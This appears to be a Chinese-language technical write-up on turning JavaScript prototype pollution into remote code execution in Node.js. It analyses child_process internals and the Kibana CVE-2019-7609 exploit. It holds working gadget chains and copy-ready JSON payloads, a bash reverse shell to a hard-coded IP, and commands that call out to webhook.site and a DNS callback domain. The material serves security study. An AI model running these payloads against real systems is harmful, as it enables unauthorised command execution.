前言
参考:
https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
https://www.sonarsource.com/blog/blitzjs-prototype-pollution/
https://www.yuque.com/cnily03/tech/lg05qpua2gz8yf89#
关于child_process的spawn
在一开始学习nodejs漏洞的时候就提过,child_process 内置的6个函数底层最终都会调用 spawn
nodejs内部模块的调试参考:https://blog.csdn.net/u012961419/article/details/120664191
注:参考文章中的node版本在 v8.x 之前:https://github.com/nodejs/node/blob/v8.x/lib/child_process.js
本文将会对照本人所用的 v18.x 版本和参考版本的代码进行撰写
child.spawn({
file: opts.file,
args: opts.args,
cwd: options.cwd,
windowsHide: !!options.windowsHide,
windowsVerbatimArguments: !!options.windowsVerbatimArguments,
detached: !!options.detached,
envPairs: opts.envPairs,
stdio: options.stdio,
uid: options.uid,
gid: options.gid
});
以下面的代码为例:
const { spawn } = require('child_process');
spawn('whoami').stdout.on('data', (data) => {
console.log(`stdout: ${data}`);
});
Node使用模块child_process
建立子进程时,调用用户层面的 spawn 方法。初始化子进程的参数,步入normalizeSpawnArguments
https://github.com/nodejs/node/blob/v8.x/lib/child_process.js#L501
var spawn = exports.spawn = function(/*file, args, options*/) {
var opts = normalizeSpawnArguments.apply(null, arguments);
跟进normalizeSpawnArguments
https://github.com/nodejs/node/blob/v8.x/lib/child_process.js#L387
function normalizeSpawnArguments(file, args, options) {
...//省略
if (options === undefined)
options = {};
...//省略
var env = options.env || process.env;
var envPairs = [];
for (var key in env) {
envPairs.push(key + '=' + env[key]);
}
_convertCustomFds(options);
return {
file: file,
args: args,
options: options,
envPairs: envPairs
};
}
当 options 不存在时将其命为空对象
然后获取 env 变量,首先对 options.env 是否存在做了判断,如果 options.env 为undefined则将环境变量process.env
的值复制给 env
而后对 envPairs 这个数组进行push操作,其实就是 env 变量对应的键值对
在 node v18.0 中,它的代码变成了下面的形式:
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
validateArgumentNullCheck(key, `options.env['${key}']`);
validateArgumentNullCheck(value, `options.env['${key}']`);
ArrayPrototypePush(envPairs, `${key}=${value}`);
}
}
用几个方法封装了同样的操作,不影响
很明显这里存在一个原型链污染的问题,options默认为空对象,那么它的任何属性都存在被污染的可能
只要能污染到Object.prototype
,那么options就可以添加我们想要的任何属性,包括options.env
经过normalizeSpawnArguments
封装并返回后,建立新的子进程new ChildProcess()
,这里才算进入内部 child_process 的实现
观察一下原生的spawn源码实现:
ChildProcess.prototype.spawn = function(options) {
let i = 0;
validateObject(options, 'options');
// If no `stdio` option was given - use default
let stdio = options.stdio || 'pipe';
stdio = getValidStdio(stdio, false);
const ipc = stdio.ipc;
const ipcFd = stdio.ipcFd;
stdio = options.stdio = stdio.stdio;
validateOneOf(options.serialization, 'options.serialization',
[undefined, 'json', 'advanced']);
const serialization = options.serialization || 'json';
if (ipc !== undefined) {
// Let child process know about opened IPC channel
if (options.envPairs === undefined)
options.envPairs = [];
else
validateArray(options.envPairs, 'options.envPairs');
ArrayPrototypePush(options.envPairs, `NODE_CHANNEL_FD=${ipcFd}`);
ArrayPrototypePush(options.envPairs,
`NODE_CHANNEL_SERIALIZATION_MODE=${serialization}`);
}
validateString(options.file, 'options.file');
this.spawnfile = options.file;
if (options.args === undefined) {
this.spawnargs = [];
} else {
validateArray(options.args, 'options.args');
this.spawnargs = options.args;
}
const err = this._handle.spawn(options);
// Run-time errors should emit an error, not throw an exception.
if (err === UV_EACCES ||
err === UV_EAGAIN ||
err === UV_EMFILE ||
err === UV_ENFILE ||
err === UV_ENOENT) {
process.nextTick(onErrorNT, this, err);
// There is no point in continuing when we've hit EMFILE or ENFILE
// because we won't be able to set up the stdio file descriptors.
if (err === UV_EMFILE || err === UV_ENFILE)
return err;
} else if (err) {
// Close all opened fds on error
for (i = 0; i < stdio.length; i++) {
const stream = stdio[i];
if (stream.type === 'pipe') {
stream.handle.close();
}
}
this._handle.close();
this._handle = null;
throw errnoException(err, 'spawn');
} else {
process.nextTick(onSpawnNT, this);
}
this.pid = this._handle.pid;
for (i = 0; i < stdio.length; i++) {
const stream = stdio[i];
if (stream.type === 'ignore') continue;
if (stream.ipc) {
this._closesNeeded++;
continue;
}
// The stream is already cloned and piped, thus stop its readable side,
// otherwise we might attempt to read from the stream when at the same time
// the child process does.
if (stream.type === 'wrap') {
stream.handle.reading = false;
stream.handle.readStop();
stream._stdio.pause();
stream._stdio.readableFlowing = false;
stream._stdio._readableState.reading = false;
stream._stdio[kIsUsedAsStdio] = true;
continue;
}
if (stream.handle) {
stream.socket = createSocket(this.pid !== 0 ?
stream.handle : null, i > 0);
if (i > 0 && this.pid !== 0) {
this._closesNeeded++;
stream.socket.on('close', () => {
maybeClose(this);
});
}
}
}
this.stdin = stdio.length >= 1 && stdio[0].socket !== undefined ?
stdio[0].socket : null;
this.stdout = stdio.length >= 2 && stdio[1].socket !== undefined ?
stdio[1].socket : null;
this.stderr = stdio.length >= 3 && stdio[2].socket !== undefined ?
stdio[2].socket : null;
this.stdio = [];
for (i = 0; i < stdio.length; i++)
ArrayPrototypePush(this.stdio,
stdio[i].socket === undefined ? null : stdio[i].socket);
// Add .send() method and start listening for IPC data
if (ipc !== undefined) setupChannel(this, ipc, serialization);
return err;
};
其中的this._handle.spawn
调用了 process_wrap.cc 的 spawn 来生成子进程:https://github.com/nodejs/node/blob/82dab76d63e6f3592e15e49d7dba2367044d4869/src/process_wrap.cc#L153
static void Spawn(const FunctionCallbackInfo<Value>& args) {
//获取js传过来的第一个option参数
Local<Object> js_options = args[0]->ToObject(env->context()).ToLocalChecked();
...
// options.env
Local<Value> env_v =
js_options->Get(context, env->env_pairs_string()).ToLocalChecked();
if (!env_v.IsEmpty() && env_v->IsArray()) {
Local<Array> env_opt = Local<Array>::Cast(env_v);
int envc = env_opt->Length();
CHECK_GT(envc + 1, 0); // Check for overflow.
options.env = new char*[envc + 1]; // Heap allocated to detect errors.
for (int i = 0; i < envc; i++) {
node::Utf8Value pair(env->isolate(),
env_opt->Get(context, i).ToLocalChecked());
options.env[i] = strdup(*pair);
CHECK_NOT_NULL(options.env[i]);
}
options.env[envc] = nullptr;
}
...
//调用uv_spawn生成子进程,并将父进程的event_loop传递过去
int err = uv_spawn(env->event_loop(), &wrap->process_, &options);
//省略
}
代码只截取了对 env 这个属性的操作,它将原先的 envPairs 进行封装。最后所有 options 带入uv_spawn
来生成子进程,在uv_spawn
中就是常规的 fork()、waitpid() 来控制进程的产生和资源释放,不过有一个非常重要的实现如下:
//process.cc->uv_spawn()
execvp(options->file, options->args);
使用了 execvp 来执行任务,这里的 options->file 就是我们最初传给spawn的参数。比如我们的例子是spawn('whoami')
,那么此时的file就是whoami
,当然对于有参数的命令,则 options->args 与之对应。
Kibana-RCE(CVE-2019-7609)
node的官方文档中能找到用例:https://nodejs.org/api/cli.html#cli_node_options_options
node > v8.0.0 支持运行node时增加一个命令行参数NODE_OPTIONS
,它能够包含一个js脚本,相当于include
在node进程启动的时候会作为环境变量加载
NODE_OPTIONS='--require ./evil.js' node
如果我们能改变本地环境变量,则在node创建进程的时候就可以包含恶意语句,当然了这需要 bash 来export
不过上面打印 process.env 也显示出一件事,只需要污染 process.env 即可rce,于是有了Kibana的poc:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
node运行时会把当前进程的 env 写进系统的环境变量,子进程也一样,在linux中存储为/proc/self/environ
通过污染 env 把恶意的语句写进 /proc/self/environ。同时污染process.NODE_OPTIONS
属性,使node在生成新进程的时候,包含我们构造的/proc/self/environ
。具体操作就类似下面的用法
AAAA='console.log(123)//' NODE_OPTIONS='--require /proc/self/environ' node
污染了 Object.env 之后,利用Canvas生成新进程的时候会执行spawn从而RCE
由于我们这篇文章的重心是pp2rce,Kibana部分的源码就不搞了,看看图得了(
需要知道的是fork()
和spawn('whoami')
的差别,虽然 fork 调用了 spawn 来实现的子进程创建
exports.fork = function(modulePath /*, args, options*/) {
...//省略
options.execPath = options.execPath || process.execPath;
return spawn(options.execPath, args, options);
}
它处理了 execPath 这个属性,默认获取系统变量的 process.execPath ,再传入spawn,这里是node
而使用 spawn 处理的时候,得到的file是我们传入的参数whoami
上面分析过,child_process 在子进程创建的最底层,会调用 execvp 执行命令执行file
execvp(options->file, options->args);
而上面poc的核心就是NODE_OPTIONS='--require /proc/self/environ' node
,即bash调用了node去执行。所以此处的file值必须为node,否则无法将NODE_OPTIONS载入
而直接调用spawn函数时必须有file值,这也造成了直接跑spawn('whoami')
无法加载 evil.js 的情况
所以最终的poc是:
// test.js
proc = require('child_process');
var aa = {}
aa.__proto__.env = {'AAAA':'console.log(123)//','NODE_OPTIONS':'--require /proc/self/environ'}
proc.fork('./function.js');
//function.js
console.log('this is func')
这个trick如果要用 fork 进行 rce 的话要求我们能够可控一个文件的内容
经过测试exec
、execFile
函数无论传入什么命令,file的值都会为/bin/sh
,因为参数shell默认为true。即使不传入 options 选项,这两个命令也会默认定义options,这也是 child_process 防止命令执行的一种途径
但是shell这个变量也是可以被污染的,不过child_process在这里做了限制,即使 shell===false 或字符串。最终传到execvp时也会被执行的参数替代,而不是真正的node进程
PP2RCE(Prototype Pollution to RCE)
通过环境变量
原理就是上面的 Kibana-RCE
为了让 /proc/self/environ 开头就是我们的恶意js代码,EVIL 的部分必须放在最开始
const { execSync, fork } = require('child_process');
// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('cat /proc/self/environ>pp2rce.txt').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// Trigger gadget
var proc = fork('./evil.js');
// This should create the file pp2rce.txt
可以看到这里实际rce的就是执行了node /proc/self/environ
json速抄:
{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}
via env vars + cmdline
不知道从哪个版本开始,nodejs会始终将NODE_OPTIONS
放在 environ
文件中的首位,于是就有了这个方法
spawn()
函数还有另外两个选项:argv0
和 shell
- argv0:控制传递给新进程的参数列表中的第一个元素,相当于执行命令,而所有的参数都会出现在文件
/proc/self/cmdline
中,因此第一个元素将位于开头
那么我们可以尝试把 NODE_OPTIONS
的值更改为 --require /proc/self/cmdline
,并且把 payload 写入 argv0
不过这时候由于 argv0 被修改了,导致无法生成进程,因为它不是有效的命令或文件路径,这点我们可以指定 shell 参数来绕过,只要设置为一个可执行文件的路径,这样执行命令时就会把shell参数附加到命令及其参数的前面,如/bin/myshell -c "command arg1 arg2 arg3"
,这里无脑用/proc/self/exe
即可
到时候执行的节点进程大致如下:
execve("/proc/self/exe", ["console.log('pwned!');//", "-c", "node …"], { NODE_OPTIONS: "--require /proc/self/cmdline" })
此时 argv0 即这里的console.log('pwned!');//
poc:
const { execSync, fork } = require('child_process');
// Manual Pollution
b = {}
// 实测shell参数可以不改,不知道为什么
// b.__proto__.shell = "/proc/self/exe"
b.__proto__.argv0 = "console.log(require('child_process').execSync('cat /proc/self/cmdline>pp2rce.txt').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger gadget
var proc = fork('./evil.js');
// This should create the file pp2rce.txt
json速抄:
{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}
DNS探测
--inspect
是用来指定调试器url的,如NODE_OPTIONS='--inspect=localhost:4444'
甚至可以指定一个dns服务器
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}
上述两种方法延伸出child_process 下其它函数利用
node v18.4.0后,options 的默认值为 kEmptyObject 而不是 {}
,对spawn
和 spawnSync
有影响
exec
不能污染.env
,因为此时 options.env 的值为 null
污染cmdline:
// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('whoami>pp2rce.txt').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');
windows下(后面windows都差不多就不重复copy了):
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
execFile
env:
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
cmdline:
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
还有直接控制 execArgv 参数来命令执行的:
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
spawn
污染env:
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('whoami>pp2rce.txt').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
污染cmdline:
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
execFileSync
env:
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');
cmdline:
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');
stdin,居然可以直接调用 vim 写入文件:
// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');
execSync
和execFileSync一样,只是换了函数而已
spawnSync
同上
主动调用spawn
前面的操作都是基于代码中调用了spawn
的功能,如果代码没有调用它但是存在 require 的话,我们可以尝试通过原型链污染来包含依赖中调用了 spawn 的 js 文件
一些常见的文件:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
node_modules/buffer/bin/download-node-tests.js:17
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
node_modules/buffer/bin/test.js:10
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
node_modules/npm/scripts/changelog.js:16
const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
node_modules/detect-libc/bin/detect-libc.js:18
process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
node_modules/jest-expo/bin/jest.js:26
const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
node_modules/buffer/bin/download-node-tests.js:17
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
node_modules/buffer/bin/test.js:10
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
node_modules/runtypes/scripts/format.js:13
const npmBinPath = execSync('npm bin').toString().trim();
node_modules/node-pty/scripts/publish.js:31
const result = cp.spawn('npm', args, { stdio: 'inherit' });
原型链污染设置 require 路径
这一部分我都复现失败了,不知道为什么,node版本v18.14.0和v10.19.0
绝对require
如果执行的 require 是绝对的(require("bytes")
),并且这个包在 package.json 文件中不包含 main,可以直接污染 main 属性并使 require 执行不同的文件
main字段:定义了
npm
包的入口文件,比如说 npm 包 test 下有 lib/index.js 作为入口文件,那么 package.json 中的写法就是"main": "lib/index.js"
exp:
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Install package bytes (it doesn't have a main in package.json)
// npm install bytes
// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"
// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
malicious.js
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");
json速抄:
{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}
相对require
如果加载的是相对路径而不是绝对路径,可以使节点加载不同的路径:
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"
// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
法2:
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require
// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
法3:
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}
require('./usage.js')